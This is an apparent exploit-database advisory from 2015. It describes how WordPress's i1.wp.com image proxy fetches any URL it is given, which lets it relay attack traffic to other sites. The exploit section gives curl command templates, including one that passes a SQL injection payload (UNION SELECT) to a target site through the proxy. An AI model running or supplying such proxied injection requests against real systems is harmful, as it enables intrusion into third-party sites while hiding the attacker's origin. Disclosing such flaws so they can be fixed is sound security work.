Exploit Title: Wordpress (i1.wp.com) Abuse of Functionality Date: Nov 12th 2015 WASC: WASC-42 Exploit Author: Andrea Menin (github.com/theMiddleBlue/) Video: https://www.youtube.com/watch?v=6g2khjbflmA Description: ------------ Abuse of Functionality is an attack technique that uses a web site's own features and functionality to attack itself or others. Abuse of Functionality can be described as the abuse of an application's intended functionality to perform an undesirable outcome. An attacker could use Wordpress website to execute any kind of http request to third website. In this video i show you how to execute a SQL Injection from i1.wp.com to my website. i1.wp.com is used to show images inside user's blog For example, here you can find a pic of my friend Carlton: https://i1.wp.com/d236bkdxj385sg.cloudfront.net/wp-content/uploads/2015/04/Thug-Life-500x450.jpg the problem is that wp.com make an http request for all url specified, not only for images. So you can use wp ip address for make requests or execute attacks. Exploit: -------- Just visit https://i1.wp.com. You will always get the error: "We cannot complete this request, remote data was invalid" but wordpress make the http requesy anyway... curl "https://i1.wp.com/<destination-website>" for example: curl "https://i1.wp.com/www.example.com/index.php%3Fid=123+AND+1=1+UNION+SELECT+..."
